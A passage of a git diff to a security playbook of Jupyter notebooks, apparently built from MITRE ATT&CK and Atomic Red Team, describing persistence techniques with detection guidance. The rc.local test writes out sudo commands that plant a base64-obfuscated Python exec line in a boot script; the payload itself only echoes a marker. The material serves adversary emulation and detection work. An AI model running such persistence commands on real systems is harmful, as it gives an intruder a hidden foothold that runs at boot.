"PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1034.ipynb b/playbook/tactics/persistence/T1034.ipynb deleted file mode 100644 index 9953fd9e..00000000 --- a/playbook/tactics/persistence/T1034.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3ecf7bec", - "metadata": {}, - "source": "# T1034 - Path Interception\n**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)." - }, - { - "cell_type": "markdown", - "id": "bd09aff9", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "fee4bfc1", - "metadata": {}, - "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1037.001.ipynb b/playbook/tactics/persistence/T1037.001.ipynb index ef5e5b44..e92baf4b 100644 --- a/playbook/tactics/persistence/T1037.001.ipynb +++ b/playbook/tactics/persistence/T1037.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "410ef7d4", + "id": "3058c31f", "metadata": {}, "source": "# T1037.001 - Logon Script (Windows)\nAdversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. " }, { "cell_type": "markdown", - "id": "3bc98286", + "id": "b3583c1e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "adf67dba", + "id": "b265ff56", "metadata": {}, "source": [ "### Atomic Test #1 - Logon Scripts", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0b3f776b", + "id": "67517b86", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "93b0b0a5", + "id": "b8b34a1b", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG.exe DELETE HKCU\\Environment /v UserInitMprLogonScript /f >nul 2>&1\ndel %temp%\\art.bat >nul 2>&1\ndel \"%USERPROFILE%\\desktop\\T1037.001-log.txt\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0e719498", + "id": "c10ad831", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7aea39e5", + "id": "4ed870e2", "metadata": {}, "source": "## Detection\nMonitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon." } @@ -56,13 +56,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1037.002.ipynb b/playbook/tactics/persistence/T1037.002.ipynb index 58d38cbd..e20b1919 100644 --- a/playbook/tactics/persistence/T1037.002.ipynb +++ b/playbook/tactics/persistence/T1037.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f4372281", + "id": "6a392b5b", "metadata": {}, "source": "# T1037.002 - Login Hook\nAdversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) " }, { "cell_type": "markdown", - "id": "ff59f15f", + "id": "1ff96493", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "49307506", + "id": "4d1dd395", "metadata": {}, "source": [ "### Atomic Test #1 - Logon Scripts - Mac", @@ -26,7 +26,7 @@ }, { "cell_type": "markdown", - "id": "545d95c0", + "id": "705e18f9", "metadata": {}, "source": "## Detection\nMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon." } @@ -34,13 +34,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1037.003.ipynb b/playbook/tactics/persistence/T1037.003.ipynb index 9cd3a7db..5aa590ee 100644 --- a/playbook/tactics/persistence/T1037.003.ipynb +++ b/playbook/tactics/persistence/T1037.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e667a865", + "id": "69fcee06", "metadata": {}, "source": "# T1037.003 - Network Logon Script\nAdversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary." }, { "cell_type": "markdown", - "id": "6d59734f", + "id": "80192808", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "90108d30", + "id": "07736ee3", "metadata": {}, "source": "## Detection\nMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1037.004.ipynb b/playbook/tactics/persistence/T1037.004.ipynb index 4caa0356..d9e043ae 100644 --- a/playbook/tactics/persistence/T1037.004.ipynb +++ b/playbook/tactics/persistence/T1037.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e67eac40", + "id": "b3c0e82d", "metadata": {}, "source": "# T1037.004 - RC Scripts\nAdversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)" }, { "cell_type": "markdown", - "id": "94b3adfc", + "id": "f4a377bb", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "cc0de634", + "id": "a56ad14e", "metadata": {}, "source": [ "### Atomic Test #1 - rc.common", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "23c7daa4", + "id": "781e7d0d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c0d44f96", + "id": "d728c72c", "metadata": {}, "source": [ "### Atomic Test #2 - rc.common", @@ -49,63 +49,63 @@ { "cell_type": "code", "execution_count": null, - "id": "85555d6f", + "id": "556684f5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "9b1f5430", + "id": "c06bf9db", "metadata": {}, "source": "#### Cleanup: \n```bash\norigfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8b7c645d", + "id": "2f3f0c47", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "53d8093b", + "id": "77cdf987", "metadata": {}, "source": [ "### Atomic Test #3 - rc.local", "Modify rc.local\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nfilename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi\nprintf '%s\\n' '#!/bin/bash' | sudo tee /etc/rc.local\necho \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\\\"\" | sudo tee -a /etc/rc.local\nprintf '%s\\n' 'exit 0' | sudo tee -a /etc/rc.local\nsudo chmod +x /etc/rc.local\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nfilename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi\n[ \"$(uname)\" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local\necho \"\\npython3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\\\"\" | sudo tee -a /etc/rc.local\nprintf 'exit 0' | sudo tee -a /etc/rc.local\nsudo chmod +x /etc/rc.local\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9147e653", + "id": "cf0489c6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "69129600", + "id": "57275db2", "metadata": {}, - "source": "#### Cleanup: \n```bash\norigfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi\n```" + "source": "#### Cleanup: \n```sh\norigfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3872c82c", + "id": "0ca0fcbc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "21304a60", + "id": "a349557d", "metadata": {}, "source": "## Detection\nMonitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. " } @@ -113,13 +113,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1037.005.ipynb b/playbook/tactics/persistence/T1037.005.ipynb index b2a67a24..56f84701 100644 --- a/playbook/tactics/persistence/T1037.005.ipynb +++ b/playbook/tactics/persistence/T1037.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "4b368d7d", + "id": "3bee5133", "metadata": {}, "source": "# T1037.005 - Startup Items\nAdversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user." }, { "cell_type": "markdown", - "id": "1f173e04", + "id": "b7edc9fe", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "630f863f", + "id": "622ab0ef", "metadata": {}, "source": [ "### Atomic Test #1 - Add file to Local Library StartupItems", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "386ce306", + "id": "e9b5c43e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0ea70aae", + "id": "8f8ad8bd", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /Library/StartupItems/EvilStartup.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5072fb1d", + "id": "fcbf0a87", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "77dea204", + "id": "50000c1b", "metadata": {}, "source": "## Detection\nThe /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1037.ipynb b/playbook/tactics/persistence/T1037.ipynb index 38bfdce2..79d2c793 100644 --- a/playbook/tactics/persistence/T1037.ipynb +++ b/playbook/tactics/persistence/T1037.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "e5d18101", + "id": "ab7bc234", "metadata": {}, "source": "# T1037 - Boot or Logon Initialization Scripts\nAdversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges." }, { "cell_type": "markdown", - "id": "9831331f", + "id": "280a1ae6", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a69e95e3", + "id": "8975d982", "metadata": {}, "source": "## Detection\nMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon." }, { "cell_type": "markdown", - "id": "aca54e53", + "id": "84d053ae", "metadata": {}, "source": "\n## Shield Active Defense\n### Baseline \n Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary. \n\n Identify elements of software and configuration critical to a set of objectives, define their proper values, and be prepared to reset a running system to its intended state. \n#### Opportunity\nThere is an opportunity to utilize confirmed good copies of login scripts and restoring on a frequent basis to prevent an adversary from using them to launch malware on a recurring basis.\n#### Use Case\nA defender can revert a system to a verified baseline a frequent, recurring basis in order to remove adversary persistence mechanisms.\n#### Procedures\nMaintain a verified baseline firewall configuration and use that copy as a fallback if an adversary alters that information.\nMaintain a verified list of group policies enforced on a system and use that copy if an adversary attempts to deviate from the baseline.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1038.ipynb b/playbook/tactics/persistence/T1038.ipynb deleted file mode 100644 index 2fd8036e..00000000 --- a/playbook/tactics/persistence/T1038.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "9b6a88b6", - "metadata": {}, - "source": "# T1038 - DLL Search Order Hijacking\nWindows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." - }, - { - "cell_type": "markdown", - "id": "4579e4cb", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "25eda76b", - "metadata": {}, - "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1042.ipynb b/playbook/tactics/persistence/T1042.ipynb deleted file mode 100644 index 5365d3db..00000000 --- a/playbook/tactics/persistence/T1042.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "77379045", - "metadata": {}, - "source": "# T1042 - Change Default File Association\nWhen a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)" - }, - { - "cell_type": "markdown", - "id": "423dd768", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2287a79d", - "metadata": {}, - "source": "## Detection\nCollect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1044.ipynb b/playbook/tactics/persistence/T1044.ipynb deleted file mode 100644 index 4ca5ed55..00000000 --- a/playbook/tactics/persistence/T1044.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "2cd16ba5", - "metadata": {}, - "source": "# T1044 - File System Permissions Weakness\nProcesses may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)" - }, - { - "cell_type": "markdown", - "id": "11e1bc14", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "49aee1f1", - "metadata": {}, - "source": "## Detection\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1050.ipynb b/playbook/tactics/persistence/T1050.ipynb deleted file mode 100644 index 89353490..00000000 --- a/playbook/tactics/persistence/T1050.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "f357efb3", - "metadata": {}, - "source": "# T1050 - New Service\nWhen operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035)." - }, - { - "cell_type": 